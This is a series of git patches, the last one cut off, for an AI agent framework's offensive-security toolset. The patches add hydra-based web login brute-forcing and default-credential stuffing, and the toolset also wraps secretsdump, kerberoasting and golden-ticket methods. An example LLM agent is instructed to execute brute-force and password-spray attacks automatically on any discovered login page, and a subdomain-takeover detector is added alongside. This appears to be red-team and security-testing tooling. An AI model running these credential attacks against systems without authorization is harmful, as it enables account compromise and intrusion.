17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 28 Aug 2025 08:19:19 -0400 Subject: [PATCH 26/60] chore: add light usage --- .../agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml | 2 ++ 1 file changed, 2 insertions(+) diff --git a/dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml b/dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml index 3af0ee1e..e857ea2a 100644 --- a/dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml +++ b/dreadnode/agent/tools/bbot/custom/presets/web/param_fuzz_heavy.yml @@ -3,6 +3,8 @@ description: Run all WEB_PARAMETER modules for parameter tampering and pollution # Recommended to run after an initial lightfuzz-heavy module run with a list of URLs to check params # Usage +# uv run python examples/agents/bbot/agent.py presets +# uv run python examples/agents/bbot/agent.py scan --targets /path/to/file.txt --presets web-thorough --presets param_fuzz_heavy include: - spider-intense From 21256397449938212446e87f45f805f9a8c72525 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 28 Aug 2025 09:54:03 -0400 Subject: [PATCH 27/60] fix: tool_method invalid decorator parentheses --- dreadnode/agent/tools/kali/tool.py | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py index 71bc6a89..1c167039 100644 --- a/dreadnode/agent/tools/kali/tool.py +++ b/dreadnode/agent/tools/kali/tool.py @@ -17,7 +17,7 @@ class KaliTool(Toolset): "A collection of Kali Linux tools for penetration testing and security assessments." ) - @tool_method + @tool_method() def nmap_scan(self, target: str) -> str: """ Scans target IPs to classify them as Domain Controllers or Member Servers. @@ -52,7 +52,7 @@ def nmap_scan(self, target: str) -> str: logger.error(f"Scan failed: {e!s}") return f"Scan failed: {e!s}" - @tool_method + @tool_method() def enumerate_users_netexec( self, target: str, @@ -104,7 +104,7 @@ def enumerate_users_netexec( return result.stdout - @tool_method + @tool_method() def enumerate_shares_netexec( self, target: str, @@ -156,7 +156,7 @@ def enumerate_shares_netexec( return result.stdout - @tool_method + @tool_method() def enumerate_share_files( self, target: str, @@ -204,7 +204,7 @@ def enumerate_share_files( return result.stdout - @tool_method + @tool_method() def download_file_content( self, target: str, @@ -261,7 +261,7 @@ def download_file_content( logger.info(f"[*] File download completed for {file_path} result: {content}") return content - @tool_method + @tool_method() def secretsdump( self, target: str, @@ -338,7 +338,7 @@ def secretsdump( ) return result.stdout - @tool_method + @tool_method() def kerberoast( self, domain: str, @@ -378,7 +378,7 @@ def kerberoast( else: return result.stdout - @tool_method + @tool_method() def asrep_roast( self, domain: str, @@ -432,7 +432,7 @@ def asrep_roast( else: return result.stdout - @tool_method + @tool_method() def hashcat( self, hash_value: str, @@ -612,7 +612,7 @@ def get_sid( else: return result.stdout - @tool_method + @tool_method() def generate_golden_ticket( self, krbtgt_hash: str, From 068d290d185d48d5ec254ebf16389fea2e0ec615 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 28 Aug 2025 09:58:00 -0400 Subject: [PATCH 28/60] chore: wip example auth cred stuff agent --- examples/agents/bbot/agent.py | 42 ++++++++++++++++++++++++++++++++--- 1 file changed, 39 insertions(+), 3 deletions(-) diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py index c92dfd83..7a891855 100644 --- a/examples/agents/bbot/agent.py +++ b/examples/agents/bbot/agent.py @@ -5,6 +5,7 @@ from dreadnode.agent.agent import Agent from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool console = Console() @@ -60,6 +61,24 @@ async def scan( console.print("[red]Error:[/red] No targets provided. Use --targets to specify targets.\n") return + auth_agent = Agent( + name="auth-brute-forcer", + description="Performs credential stuffing, password sprays and brute force attacks on login pages", + model="groq/moonshotai/kimi-k2-instruct", + tools=[BBotTool(), KaliTool()], + instructions="""You are an expert at credential testing and authentication bypass. + + When you find login pages and authentication services, your job is to: + 1. Identify the login form and authentication mechanism + 2. Test common default credentials using the tools and wordlists provided + 3. Suggest any additional required brute force attack strategies + 4. Report successful authentications, interesting findings or errors encountered worth noting + + IMPORTANT: Don't just suggest strategies - actually execute credential testing using your available tools. + Be systematic and thorough in your credential testing approach. + """, + ) + tool = await BBotTool.create() events = tool.run( targets=targets, @@ -70,10 +89,27 @@ async def scan( ) async for event in events: + """ + Handle each event emitted by the BBOT scan. + Run 'uv run python examples/agents/bbot/agent.py events' to see event types. + """ console.print(event) - # Add your agent logic here to process events - # if event == "FINDING": - # await agent.run(...) + ### Add your agent logic here to process events ### + + # Check for login pages and trigger credential testing + if event.type == "URL" and any( + keyword in str(event.data).lower() for keyword in ["login", "signin", "admin", "auth"] + ): + try: + console.print(f"Testing credentials on: {event.data}") + result = await auth_agent.run( + f"Perform credential testing on the login page at {event.data}. " + "Use the available tools to test common default credentials and brute force attacks. " + "Report any successful authentications or interesting findings." + ) + console.print(f"[Results:\n{result}") + except Exception as e: + console.print(f"Error in auth agent: {e}") # Usage From a7d2922326f2365c7279512964c3c5ee8ed76717 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 28 Aug 2025 13:39:10 -0400 Subject: [PATCH 29/60] chore: kali hydra creds stuffer --- dreadnode/agent/tools/kali/tool.py | 129 ++++++++++++++++++++++++++++- 1 file changed, 128 insertions(+), 1 deletion(-) diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py index 1c167039..33012a59 100644 --- a/dreadnode/agent/tools/kali/tool.py +++ b/dreadnode/agent/tools/kali/tool.py @@ -12,7 +12,7 @@ class KaliTool(Toolset): A collection of Kali Linux tools for penetration testing and security assessments. """ - name: str = "kali-tools" + tool_name: str = "kali-tools" description: str = ( "A collection of Kali Linux tools for penetration testing and security assessments." ) @@ -612,6 +612,133 @@ def get_sid( else: return result.stdout + @tool_method() + def hydra_http_form_attack( + self, + target_url: str, + username_list: str = "/usr/share/wordlists/metasploit/unix_users.txt", + password_list: str = "/usr/share/wordlists/rockyou.txt", + form_parameters: str = "username:password", + failure_string: str = "Invalid", + max_attempts: int = 10, + ) -> str: + """ + Use hydra to perform HTTP form-based credential attacks. + + Args: + target_url: Target login URL (e.g., 'http://example.com/login.php') + username_list: Path to username wordlist (default: metasploit unix users) + password_list: Path to password wordlist (default: rockyou.txt) + form_parameters: Form field names separated by colon (e.g., 'user:pass') + failure_string: String that appears on failed login attempts + max_attempts: Maximum login attempts to prevent account lockout + + Returns: + String output from hydra showing successful credentials or failures + + Example: + >>> result = hydra_http_form_attack("http://target.com/login", failure_string="Login failed") + """ + + cmd = [ + "hydra", + "-L", + username_list, + "-P", + password_list, + "-t", + str(max_attempts), + "-f", # Stop on first success + target_url.split("/")[2], # Extract hostname + "http-form-post", + f"/{'/'.join(target_url.split('/')[3:])}:{form_parameters}:F={failure_string}", + ] + + try: + logger.info(f"[*] Starting hydra HTTP form attack on {target_url}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=300) # noqa: S603 + + logger.info(f"[*] Hydra HTTP form attack completed for {target_url}: {result.stdout}") + return result.stdout + "\n" + result.stderr + + except subprocess.TimeoutExpired: + logger.error("Hydra HTTP form attack timed out after 5 minutes") + return "Hydra attack timed out after 5 minutes" + except Exception as e: + logger.error(f"Hydra HTTP form attack failed: {e!s}") + return f"Hydra attack failed: {e!s}" + + @tool_method() + def test_common_web_credentials( + self, + target_url: str, + form_parameters: str = "username:password", + failure_string: str = "Invalid", + ) -> str: + """ + Test common default web credentials using hydra. + + Args: + target_url: Target login URL + form_parameters: Form field names (e.g., 'user:pass', 'email:password') + failure_string: String indicating failed login + + Returns: + Results of testing common credentials + + Example: + >>> result = test_common_web_credentials("http://target.com/admin/login") + """ + + # Create temporary file with common credentials + common_creds = [ + "admin:admin", + "admin:password", + "administrator:administrator", + "root:root", + "guest:guest", + "test:test", + "demo:demo", + "user:user", + "admin:123456", + "admin:", + "sa:sa", + ] + + try: + with tempfile.NamedTemporaryFile(mode="w", suffix=".txt", delete=False) as f: + for cred in common_creds: + f.write(cred + "\n") + cred_file = f.name + + cmd = [ + "hydra", + "-C", + cred_file, # Use colon-separated credential pairs + "-t", + "5", + "-f", # Stop on first success + target_url.split("/")[2], # Extract hostname + "http-form-post", + f"/{'/'.join(target_url.split('/')[3:])}:{form_parameters}:F={failure_string}", + ] + + logger.info(f"[*] Testing common credentials on {target_url}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=120) # noqa: S603 + + # Clean up temp file + import os + + os.unlink(cred_file) + + logger.info(f"[*] Common credential test completed for {target_url}") + return result.stdout + "\n" + result.stderr + + except subprocess.TimeoutExpired: + return "Common credential test timed out" + except Exception as e: + return f"Common credential test failed: {e!s}" + @tool_method() def generate_golden_ticket( self, From fb1bd8515817460e1255136fb5d494d3003d515c Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 28 Aug 2025 16:00:11 -0400 Subject: [PATCH 30/60] feat: subdomain jacking example agent --- dreadnode/agent/tools/kali/tool.py | 160 ++++++++++++++ .../agents/subdomain_takeover/__init__.py | 1 + examples/agents/subdomain_takeover/agent.py | 201 ++++++++++++++++++ 3 files changed, 362 insertions(+) create mode 100644 examples/agents/subdomain_takeover/__init__.py create mode 100644 examples/agents/subdomain_takeover/agent.py diff --git a/dreadnode/agent/tools/kali/tool.py b/dreadnode/agent/tools/kali/tool.py index 33012a59..73ca248e 100644 --- a/dreadnode/agent/tools/kali/tool.py +++ b/dreadnode/agent/tools/kali/tool.py @@ -739,6 +739,166 @@ def test_common_web_credentials( except Exception as e: return f"Common credential test failed: {e!s}" + @tool_method() + def dig_dns_lookup( + self, + domain: str, + record_type: str = "A", + nameserver: str = "8.8.8.8", + ) -> str: + """ + Perform DNS lookup using dig command. + + Args: + domain: Domain/subdomain to query + record_type: DNS record type (A, AAAA, CNAME, NS, MX, TXT, etc.) + nameserver: DNS server to query (default: Google DNS) + + Returns: + dig command output showing DNS records + + Example: + >>> result = dig_dns_lookup("subdomain.example.com", "CNAME") + """ + + cmd = ["dig", f"@{nameserver}", domain, record_type, "+short"] + + try: + logger.info(f"[*] Performing DNS lookup for {domain} ({record_type})") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=30) # noqa: S603 + + if result.stdout.strip(): + output = f"DNS {record_type} record for {domain}:\n{result.stdout.strip()}" + else: + output = f"No {record_type} record found for {domain}" + + logger.info(f"[*] DNS lookup completed for {domain}") + return output + + except subprocess.TimeoutExpired: + return f"DNS lookup timed out for {domain}" + except Exception as e: + return f"DNS lookup failed for {domain}: {e!s}" + + @tool_method() + def nslookup_dns_query( + self, + domain: str, + nameserver: str = "8.8.8.8", + ) -> str: + """ + Perform comprehensive DNS query using nslookup. + + Args: + domain: Domain/subdomain to query + nameserver: DNS server to query + + Returns: + nslookup output showing all DNS information + + Example: + >>> result = nslookup_dns_query("test.example.com") + """ + + cmd = ["nslookup", domain, nameserver] + + try: + logger.info(f"[*] Running nslookup for {domain}") + result = subprocess.run(cmd, check=False, capture_output=True, text=True, timeout=30) # noqa: S603 + + logger.info(f"[*] nslookup completed for {domain}") + return f"nslookup results for {domain}:\n{result.stdout}" + + except subprocess.TimeoutExpired: + return f"nslookup timed out for {domain}" + except Exception as e: + return f"nslookup failed for {domain}: {e!s}" + + @tool_method() + def check_subdomain_takeover( + self, + subdomain: str, + ) -> str: + """ + Check if subdomain is vulnerable to takeover by analyzing DNS records and HTTP responses. + + Args: + subdomain: Subdomain to check for takeover vulnerability + + Returns: + Analysis results indicating takeover vulnerability status + + Example: + >>> result = check_subdomain_takeover("old.example.com") + """ + + results = [] + + # Check CNAME record + try: + cname_result = subprocess.run( + ["dig", "@8.8.8.8", subdomain, "CNAME", "+short"], + check=False, capture_output=True, text=True, timeout=15 + ) # noqa: S603 + + if cname_result.stdout.strip(): + cname_target = cname_result.stdout.strip() + results.append(f"CNAME points to: {cname_target}") + + # Check if CNAME target is resolvable + a_result = subprocess.run( + ["dig", "@8.8.8.8", cname_target, "A", "+short"], + check=False, capture_output=True, text=True, timeout=15 + ) # noqa: S603 + + if not a_result.stdout.strip(): + results.append(f"🚨 POTENTIAL TAKEOVER: CNAME target '{cname_target}' does not resolve!") + else: + results.append(f"CNAME target resolves to: {a_result.stdout.strip()}") + else: + results.append("No CNAME record found") + + except Exception as e: + results.append(f"CNAME check failed: {e}") + + # Check A record + try: + a_result = subprocess.run( + ["dig", "@8.8.8.8", subdomain, "A", "+short"], + check=False, capture_output=True, text=True, timeout=15 + ) # noqa: S603 + + if a_result.stdout.strip(): + results.append(f"A record: {a_result.stdout.strip()}") + else: + results.append("🚨 No A record found - potential dangling subdomain!") + + except Exception as e: + results.append(f"A record check failed: {e}") + + # Try HTTP request to check for service errors + try: + import requests + response = requests.get(f"http://{subdomain}", timeout=10, allow_redirects=False) + results.append(f"HTTP status: {response.status_code}") + + # Check for common takeover error messages + error_strings = [ + "NoSuchBucket", "Repository not found", "Project not found", + "There isn't a GitHub Pages site here", "herokucdn.com/error-pages", + "The specified bucket does not exist", "This site is disabled" + ] + + for error in error_strings: + if error.lower() in response.text.lower(): + results.append(f"🚨 TAKEOVER INDICATOR: Found '{error}' in response!") + + except Exception as e: + results.append(f"HTTP check failed: {e}") + + logger.info(f"[*] Subdomain takeover check completed for {subdomain}") + return f"Subdomain takeover analysis for {subdomain}:\n" + "\n".join(results) + @tool_method() def generate_golden_ticket( self, diff --git a/examples/agents/subdomain_takeover/__init__.py b/examples/agents/subdomain_takeover/__init__.py new file mode 100644 index 00000000..c143fcea --- /dev/null +++ b/examples/agents/subdomain_takeover/__init__.py @@ -0,0 +1 @@ +# Subdomain takeover detection agent \ No newline at end of file diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py new file mode 100644 index 00000000..c47c88b4 --- /dev/null +++ b/examples/agents/subdomain_takeover/agent.py @@ -0,0 +1,201 @@ +import typing as t +from pathlib import Path +import re + +from rich.console import Console +from cyclopts import App + +from dreadnode.agent.agent import Agent +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool + +# Import necessary components for Pydantic dataclass fix +from dreadnode.agent.events import ( + Event, AgentStart, StepStart, GenerationEnd, + AgentStalled, AgentError, ToolStart, ToolEnd, AgentEnd +) +from dreadnode.agent.state import State +from dreadnode.agent.result import AgentResult +from dreadnode.agent.reactions import Reaction + +import pydantic.dataclasses +try: + critical_classes = [Event, AgentStart, StepStart, GenerationEnd, + AgentStalled, AgentError, ToolStart, ToolEnd, AgentEnd] + + for event_class in critical_classes: + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +"""Usage: +uv run python examples/agents/subdomain_takeover/agent.py validate test.example.com +uv run python examples/agents/subdomain_takeover/agent.py hunt --targets "/path/to/dir/subdomains.txt" +""" + +console = Console() +app = App() + + +def create_takeover_agent() -> Agent: + """Create a subdomain takeover analysis agent.""" + return Agent( + name="subdomain-takeover-agent", + description="An agent that analyzes subdomains for takeover vulnerabilities", + model="gpt-4", + tools=[BBotTool(), KaliTool()], + instructions="""You are an expert cybersecurity analyst specializing in subdomain takeover detection. + +Use your tools strategically to assess subdomain takeover risks. Provide clear, actionable analysis without unnecessary verbosity.""" + ) + + +def display_analysis_result(result: AgentResult, subdomain: str) -> None: + """Display the agent's analysis result.""" + if not result or not result.messages: + console.print("Analysis completed but no content available") + return + + # Show which tools the agent decided to use + tools_used = [] + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tools_used.append(tool_call.function.name) + + if tools_used: + console.print(f"Agent used: {', '.join(tools_used)}") + + final_message = result.messages[-1] + if final_message.content: + console.print(f"\nAnalysis for {subdomain}:") + console.print(final_message.content) + console.print(f"\nProcessed {len(result.messages)} messages in {result.steps} steps") + + +@app.command +async def modules() -> None: + """List available BBOT modules.""" + tool = await BBotTool.create() + tool.get_modules() + + +@app.command +async def presets() -> None: + """List available BBOT presets.""" + tool = await BBotTool.create() + tool.get_presets() + + +@app.command +async def flags() -> None: + """List available BBOT flags.""" + tool = await BBotTool.create() + tool.get_flags() + + +@app.command +async def events() -> None: + """List available BBOT event types.""" + tool = await BBotTool.create() + tool.get_events() + + +@app.command +async def hunt( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for subdomain takeover vulnerabilities using BBOT discovery.""" + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided. Use --targets to specify targets.") + return + + console.print(f"Starting subdomain takeover hunt on {len(targets)} targets") + + tool = await BBotTool.create() + events = tool.run( + targets=targets, + presets=presets, + modules=modules, + flags=flags, + config=config, + ) + + async for event in events: + console.print(event) + + # Analyze DNS_NAME events for takeover vulnerabilities + if event.type == "DNS_NAME": + try: + subdomain = str(event.data) + console.print(f"Analyzing subdomain: {subdomain}") + + takeover_agent = create_takeover_agent() + + result = await takeover_agent.run( + f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " + f"Use your tools as needed and provide a concise risk assessment." + ) + + display_analysis_result(result, subdomain) + + except Exception as e: + console.print(f"Error analyzing subdomain: {e}") + + # Analyze FINDING events for takeover indicators + elif event.type == "FINDING" and any(keyword in str(event.data).lower() for keyword in ["takeover", "dangling", "cname"]): + try: + console.print(f"BBOT finding: {event.data}") + + # Extract domains from finding + domain_pattern = r'([a-zA-Z0-9]([a-zA-Z0-9-]{1,61})?[a-zA-Z0-9]\.)+[a-zA-Z]{2,}' + domains = re.findall(domain_pattern, str(event.data)) + + if domains: + domain = domains[0][0] if isinstance(domains[0], tuple) else domains[0] + console.print(f"Validating extracted domain: {domain}") + + takeover_agent = create_takeover_agent() + result = await takeover_agent.run( + f"Validate the potential subdomain takeover for '{domain}'. " + f"Determine if this is a genuine vulnerability." + ) + + display_analysis_result(result, domain) + else: + console.print("No domain extracted from finding") + + except Exception as e: + console.print(f"Error validating finding: {e}") + + +@app.command +async def validate(subdomain: str) -> None: + """Validate a specific subdomain for takeover vulnerability.""" + + console.print(f"Validating subdomain: {subdomain}") + + try: + takeover_agent = create_takeover_agent() + + result = await takeover_agent.run( + f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " + f"Use your tools strategically to assess risks and provide actionable recommendations." + ) + + display_analysis_result(result, subdomain) + + except Exception as e: + console.print(f"Validation failed: {e}") + + +if __name__ == "__main__": + app() \ No newline at end of file From e772e4b3270e1b395c857ad6820ba90e60d3e3ae Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 Aug 2025 05:48:47 -0400 Subject: [PATCH 31/60] chore: nit tidy prompt for specialized agent --- examples/agents/subdomain_takeover/agent.py | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index c47c88b4..16a62864 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -44,9 +44,23 @@ def create_takeover_agent() -> Agent: description="An agent that analyzes subdomains for takeover vulnerabilities", model="gpt-4", tools=[BBotTool(), KaliTool()], - instructions="""You are an expert cybersecurity analyst specializing in subdomain takeover detection. + instructions="""You are an expert at detecting subdomain takeover vulnerabilities. -Use your tools strategically to assess subdomain takeover risks. Provide clear, actionable analysis without unnecessary verbosity.""" +FOCUS: Look for subdomains with DNS records (CNAME/A) pointing to unclaimed third-party services. + +Key patterns: +- DNS resolves to third-party service (AWS S3, GitHub Pages, Heroku, Azure, Shopify, etc.) +- Service responds with error messages indicating unclaimed/deleted resource: + * "No such bucket" + * "This site isn't configured" + * "Project not found" + * "There isn't a GitHub Pages site here" + * "herokucdn.com/error-pages" + +Example vulnerability: +marketing.example.com → CNAME → myapp.herokudns.com (but myapp is deleted/unclaimed) + +Report ONLY actual takeover vulnerabilities, not general DNS misconfigurations.""" ) From 966867cfbac826cb15c6d20d4c1cc4e07175f254 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 Aug 2025 08:49:50 -0400 Subject: [PATCH 32/60] feat: neo4j tool and equip agent --- dreadnode/agent/tools/neo4j/__init__.py | 0 dreadnode/agent/tools/neo4j/tool.py | 190 ++++++++++++++++++++ examples/agents/subdomain_takeover/agent.py | 32 +++- 3 files changed, 218 insertions(+), 4 deletions(-) create mode 100644 dreadnode/agent/tools/neo4j/__init__.py create mode 100644 dreadnode/agent/tools/neo4j/tool.py diff --git a/dreadnode/agent/tools/neo4j/__init__.py b/dreadnode/agent/tools/neo4j/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/dreadnode/agent/tools/neo4j/tool.py b/dreadnode/agent/tools/neo4j/tool.py new file mode 100644 index 00000000..d687825d --- /dev/null +++ b/dreadnode/agent/tools/neo4j/tool.py @@ -0,0 +1,190 @@ +import os +import typing as t +from datetime import datetime + +from loguru import logger + +from dreadnode.agent.tools import Toolset, tool_method + +try: + from neo4j import AsyncGraphDatabase, AsyncDriver + NEO4J_AVAILABLE = True +except ImportError: + NEO4J_AVAILABLE = False + # Create dummy types when neo4j is not available + AsyncDriver = t.Any + AsyncGraphDatabase = None + + +class Neo4jTool(Toolset): + """Neo4j database tool for storing and querying security findings.""" + + tool_name: str = "neo4j-tool" + description: str = "Store and query security findings in Neo4j graph database" + + async def _get_driver(self) -> AsyncDriver: + """Get or create Neo4j driver.""" + if not hasattr(self, '_driver') or not self._driver: + if not NEO4J_AVAILABLE or AsyncGraphDatabase is None: + raise ImportError("Neo4j package not available") + + uri = os.getenv("NEO4J_URI", "bolt://localhost:7687") + username = os.getenv("NEO4J_USERNAME", "neo4j") + password = os.getenv("NEO4J_PASSWORD", "password") + + self._driver = AsyncGraphDatabase.driver(uri, auth=(username, password)) + try: + await self._driver.verify_connectivity() + logger.info(f"Connected to Neo4j at {uri}") + except Exception as e: + logger.error(f"Failed to connect to Neo4j: {e}") + raise + return self._driver + + @tool_method() + async def store_subdomain_takeover_finding( + self, + subdomain: str, + vulnerability_type: str, + risk_level: str, + cname_target: str | None = None, + error_message: str | None = None, + service_provider: str | None = None, + ) -> str: + """Store a confirmed subdomain takeover vulnerability finding. + + Args: + subdomain: The vulnerable subdomain + vulnerability_type: Type of vulnerability (e.g., "subdomain_takeover") + risk_level: Risk level (HIGH, MEDIUM, LOW) + cname_target: CNAME target if applicable + error_message: Error message indicating unclaimed resource + service_provider: Third-party service provider (AWS, GitHub, etc.) + + Returns: + Confirmation message + """ + try: + driver = await self._get_driver() + + query = """ + MERGE (s:Subdomain {name: $subdomain}) + MERGE (f:Finding { + id: $finding_id, + subdomain: $subdomain, + type: $vulnerability_type, + risk_level: $risk_level, + discovered_at: $timestamp + }) + MERGE (s)-[:HAS_FINDING]->(f) + SET f.cname_target = $cname_target, + f.error_message = $error_message, + f.service_provider = $service_provider, + f.updated_at = $timestamp + RETURN f.id as finding_id + """ + + params = { + "subdomain": subdomain, + "finding_id": f"{subdomain}_{vulnerability_type}_{datetime.now().isoformat()}", + "vulnerability_type": vulnerability_type, + "risk_level": risk_level.upper(), + "timestamp": datetime.now().isoformat(), + "cname_target": cname_target, + "error_message": error_message, + "service_provider": service_provider, + } + + async with driver.session() as session: + result = await session.run(query, params) + record = await result.single() + + logger.info(f"Stored subdomain takeover finding for {subdomain}") + return f"Successfully stored finding: {record['finding_id'] if record else 'unknown'}" + + except Exception as e: + logger.error(f"Failed to store finding: {e}") + return f"Failed to store finding: {e}" + + @tool_method() + async def query_findings( + self, + subdomain: str | None = None, + risk_level: str | None = None, + limit: int = 100, + ) -> str: + """Query stored vulnerability findings. + + Args: + subdomain: Filter by specific subdomain + risk_level: Filter by risk level (HIGH, MEDIUM, LOW) + limit: Maximum number of results + + Returns: + JSON string of findings + """ + try: + driver = await self._get_driver() + + where_clauses = [] + params = {"limit": limit} + + if subdomain: + where_clauses.append("f.subdomain = $subdomain") + params["subdomain"] = subdomain + + if risk_level: + where_clauses.append("f.risk_level = $risk_level") + params["risk_level"] = risk_level.upper() + + where_clause = "WHERE " + " AND ".join(where_clauses) if where_clauses else "" + + query = f""" + MATCH (s:Subdomain)-[:HAS_FINDING]->(f:Finding) + {where_clause} + RETURN f + ORDER BY f.discovered_at DESC + LIMIT $limit + """ + + async with driver.session() as session: + result = await session.run(query, params) + findings = [record["f"] async for record in result] + + logger.info(f"Retrieved {len(findings)} findings") + return f"Found {len(findings)} findings: {findings}" + + except Exception as e: + logger.error(f"Failed to query findings: {e}") + return f"Failed to query findings: {e}" + + @tool_method() + async def run_cypher_query(self, query: str, params: dict[str, t.Any] | None = None) -> str: + """Execute a custom Cypher query. + + Args: + query: Cypher query string + params: Query parameters + + Returns: + Query results as string + """ + try: + driver = await self._get_driver() + + async with driver.session() as session: + result = await session.run(query, params or {}) + records = [record.data() async for record in result] + + logger.info(f"Executed query, returned {len(records)} records") + return f"Query results: {records}" + + except Exception as e: + logger.error(f"Query failed: {e}") + return f"Query failed: {e}" + + async def close(self): + """Close Neo4j driver connection.""" + if hasattr(self, '_driver') and self._driver: + await self._driver.close() + self._driver = None \ No newline at end of file diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py index 16a62864..dfcd8fb7 100644 --- a/examples/agents/subdomain_takeover/agent.py +++ b/examples/agents/subdomain_takeover/agent.py @@ -9,6 +9,13 @@ from dreadnode.agent.tools.bbot.tool import BBotTool from dreadnode.agent.tools.kali.tool import KaliTool +# Optional Neo4j integration +try: + from dreadnode.agent.tools.neo4j.tool import Neo4jTool + NEO4J_AVAILABLE = True +except ImportError: + NEO4J_AVAILABLE = False + # Import necessary components for Pydantic dataclass fix from dreadnode.agent.events import ( Event, AgentStart, StepStart, GenerationEnd, @@ -36,15 +43,30 @@ console = Console() app = App() +# Show Neo4j availability status +if NEO4J_AVAILABLE: + console.print("[dim]Neo4j integration available - confirmed findings will be stored in database[/dim]") +else: + console.print("[dim]Neo4j integration not available - install neo4j package for database storage[/dim]") + def create_takeover_agent() -> Agent: """Create a subdomain takeover analysis agent.""" + tools = [BBotTool(), KaliTool()] + + # Add Neo4j tool if available + if NEO4J_AVAILABLE: + tools.append(Neo4jTool()) + neo4j_instructions = "\n\nWhen you find CONFIRMED takeover vulnerabilities, store them using Neo4jTool.store_subdomain_takeover_finding(subdomain, vulnerability_type, risk_level, cname_target, error_message, service_provider). Use HIGH/MEDIUM/LOW for risk_level." + else: + neo4j_instructions = "" + return Agent( name="subdomain-takeover-agent", - description="An agent that analyzes subdomains for takeover vulnerabilities", + description="An agent that detects and stores subdomain takeover vulnerabilities", model="gpt-4", - tools=[BBotTool(), KaliTool()], - instructions="""You are an expert at detecting subdomain takeover vulnerabilities. + tools=tools, + instructions=f"""You are an expert at detecting subdomain takeover vulnerabilities. FOCUS: Look for subdomains with DNS records (CNAME/A) pointing to unclaimed third-party services. @@ -57,10 +79,12 @@ def create_takeover_agent() -> Agent: * "There isn't a GitHub Pages site here" * "herokucdn.com/error-pages" +IMPORTANT: If CNAME resolves to A record owned by target organization, takeover is highly unlikely. + Example vulnerability: marketing.example.com → CNAME → myapp.herokudns.com (but myapp is deleted/unclaimed) -Report ONLY actual takeover vulnerabilities, not general DNS misconfigurations.""" +Report ONLY actual takeover vulnerabilities, not general DNS misconfigurations.{neo4j_instructions}""", ) From d758f196a6e6ad0865d121be67a0a5fc399a60b3 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Fri, 29 Aug 2025 11:17:15 -0400 Subject: [PATCH 33/60] chore: dont make neo4j conditional --- dreadnode/agent/tools/neo4j/tool.py | 12 +----------- 1 file changed, 1 insertion(+), 11 deletions(-) diff --git a/dreadnode/agent/tools/neo4j/tool.py b/dreadnode/agent/tools/neo4j/tool.py index d687825d..2194e166 100644 --- a/dreadnode/agent/tools/neo4j/tool.py +++ b/dreadnode/agent/tools/neo4j/tool.py @@ -6,14 +6,7 @@ from dreadnode.agent.tools import Toolset, tool_method -try: - from neo4j import AsyncGraphDatabase, AsyncDriver - NEO4J_AVAILABLE = True -except ImportError: - NEO4J_AVAILABLE = False - # Create dummy types when neo4j is not available - AsyncDriver = t.Any - AsyncGraphDatabase = None +from neo4j import AsyncGraphDatabase, AsyncDriver class Neo4jTool(Toolset): @@ -25,9 +18,6 @@ class Neo4jTool(Toolset): async def _get_driver(self) -> AsyncDriver: """Get or create Neo4j driver.""" if not hasattr(self, '_driver') or not self._driver: - if not NEO4J_AVAILABLE or AsyncGraphDatabase is None: - raise ImportError("Neo4j package not available") - uri = os.getenv("NEO4J_URI", "bolt://localhost:7687") username = os.getenv("NEO4J_USERNAME", "neo4j") password = os.getenv("NEO4J_PASSWORD", "password") From 2159cf70523e50b593208b086fde6f0ad1ef59b8 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Fri, 29 Aug 2025 10:58:01 -0600 Subject: [PATCH 34/60] envs, dn logging --- dreadnode/agent/tools/bbot/tool.py | 3 +- dreadnode/agent/tools/envs/docker.py | 428 +++++++++++++++++++++++++++ dreadnode/agent/tools/envs/neo4j.py | 356 